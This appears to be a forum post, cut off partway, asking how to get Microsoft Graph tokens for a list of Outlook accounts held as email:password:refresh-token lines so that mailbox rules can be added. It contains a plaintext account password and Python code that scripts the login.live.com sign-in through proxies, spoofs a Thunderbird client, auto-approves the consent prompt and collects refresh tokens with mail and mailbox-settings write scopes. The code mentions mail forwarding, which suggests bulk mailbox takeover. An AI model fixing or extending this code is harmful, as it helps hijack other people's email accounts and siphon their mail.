I have a list of outlook emails that come in the format emailassword:refresh token:client ID I want to access the outlook graph API to add some mailbox rules. However the refresh token is generated with not enough permissions to do so, so it seems I need to make a new refresh token. I made a Microsoft Azure account and setup an application and located the client id and tenant id and added a secret. When I try to code below to get a refresh token I get the error below because the client ID for the account does not match my client ID I am assuming. How can I get temp access to a refresh token to simply add this mailbox rule? {'error': 'invalid_grant', 'error_description': 'AADSTS50034: The user account {EUII Hidden} does not exist in the a7163cca-35ea-483a-837e-ae68f9820cff directory. To sign into this application, the account must be added to the directory. Trace ID: e20ef63b-6ca6-4f6a-be4e-36b9789b3400 Correlation ID: 10d267d7-1ecf-438f-bf06-9bc539ae0819 Timestamp: 2025-06-15 01:04:27Z', 'error_codes': [50034], 'timestamp': '2025-06-15 01:04:27Z', 'trace_id': 'e20ef63b-6ca6-4f6a-be4e-36b9789b3400', 'correlation_id': '10d267d7-1ecf-438f-bf06-9bc539ae0819', 'error_uri': 'https://login.microsoftonline.com/error?code=50034'} def get_tokens_ropc(tenant_id, client_id, client_secret, username, password): url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" data = { 'grant_type': 'password', 'client_id': client_id, 'client_secret': client_secret, 'scope': 'https://graph.microsoft.com/.default', 'username': username, 'password': password } response = requests.post(url, data=data) return response.json() tokens = get_tokens_ropc( tenant_id=TENANT_ID, client_id=CLIENT_ID, client_secret=SECRET, username="JobyTrible235@outlook.com", password="5Bfhac7yKB" ) Also I used to use the code below but it stopped working 2 weeks ago. The code below let me simply feed the email and password and get a good access token with the right perms. def get_headers(additional_headers: dict = {}): _DEFAULT_HEADERS = { 'accept': '*/*', 'accept-encoding': 'gzip, deflate, br', 'accept-language': 'en-US,en;q=0.9', 'sec-ch-ua': '"Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': 'Windows', 'sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'same-origin', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Thunderbird/128.2.3' } _DEFAULT_HEADERS.update(additional_headers) return _DEFAULT_HEADERS def handler_let_app(postUrl: str, respStr2: str, cookies, proxies): post_headers = get_headers({'content-type': "application/x-www-form-urlencoded"}) matches = re.finditer("<input type=\"hidden\" name=\"(.*?)\" id=\"(.*?)\" value=\"(.*?)\"", respStr2) my_dict = {} for match in matches: my_dict[match.group(1)] = match.group(3) encoded_data = urllib.parse.urlencode(my_dict) my_dict["ucaction"] = "Yes" encoded_data = urllib.parse.urlencode(my_dict) letapp_resp2 = requests.post(postUrl, data=encoded_data, headers=post_headers, cookies=cookies, allow_redirects=False, proxies=proxies) redirect_url = letapp_resp2.headers.get('Location') loginLive_resp2 = requests.post(redirect_url, data=encoded_data, headers=post_headers, cookies=cookies, allow_redirects=False, proxies=proxies) redirect_url = loginLive_resp2.headers.get('Location') return redirect_url def authenticate_username_password(email: str, password: str, proxies): newUrl1 = "https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=9e5f94bc-e8a4-4e73-b8be-63364c29d753&redirect_uri=https://localhost&scope=offline_access https://graph.microsoft.com/Mail.ReadWrite https://graph.microsoft.com/MailboxSettings.ReadWrite&login_hint=" + email headers = get_headers() post_headers = get_headers({'content-type': "application/x-www-form-urlencoded"}) resp1 = requests.get(newUrl1, headers=headers, proxies=proxies) respStr1 = resp1.text match = re.search("https://login.live.com/ppsecure/post.srf?(.*?)',", respStr1) postUrl = "https://login.live.com/ppsecure/post.srf" + match.group(1) match1 = re.search("<input type=\"hidden\" name=\"PPFT\" id=\"(.*?)\" value=\"(.*?)\"", respStr1) valuePPFT = match1.group(2) bodyLogin = f"ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=&ctx=&hpgrequestid=&PPFT={valuePPFT}&PPSX=Passp&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupported=1&isSignupPost=0&isRecoveryAttemptPost=0&i13=1&login={email}&loginfmt={email}&type=11&LoginOptions=1&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd={password}" cookies = resp1.cookies.get_dict() login_response = requests.post(postUrl, data=bodyLogin, headers=post_headers, cookies=cookies, allow_redirects=False, proxies=proxies) redirect_url = login_response.headers.get('Location') cookies = login_response.cookies.get_dict() respStr2 = login_response.text if redirect_url is None or redirect_url == "": match = re.search("id=\"fmHF\" action=\"(.*?)\"", respStr2) postUrl = match.group(1) if "Update?mkt=" in postUrl: redirect_url = handler_let_app(postUrl, respStr2, cookies, proxies) elif "confirm?mkt=" in postUrl: pass elif "Add?mkt=" in postUrl: pass if not redirect_url: return None localhostCode = redirect_url.split('=')[1] bodyRequest3 = f"code={localhostCode}&client_id=9e5f94bc-e8a4-4e73-b8be-63364c29d753&redirect_uri=https://localhost&grant_type=authorization_code" login_response = requests.post("https://login.microsoftonline.com/common/oauth2/v2.0/token", data=bodyRequest3, headers=post_headers, proxies=proxies).json() return login_response.get("refresh_token") def get_access_token_from_refresh(refresh_token: str, proxies) -> str: token_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token" data = { 'client_id': '9e5f94bc-e8a4-4e73-b8be-63364c29d753', 'scope': 'https://graph.microsoft.com/Mail.ReadWrite https://graph.microsoft.com/MailboxSettings.ReadWrite', 'refresh_token': refresh_token, 'grant_type': 'refresh_token', 'redirect_uri': 'https://localhost' } headers = { 'Content-Type': 'application/x-www-form-urlencoded' } response = requests.post(token_url, data=data, headers=headers, proxies=proxies) if response.status_code == 200: return response.json().get("access_token") else: print("Mail Forwarding: Failed to get access token:", response.text) return None Continue reading...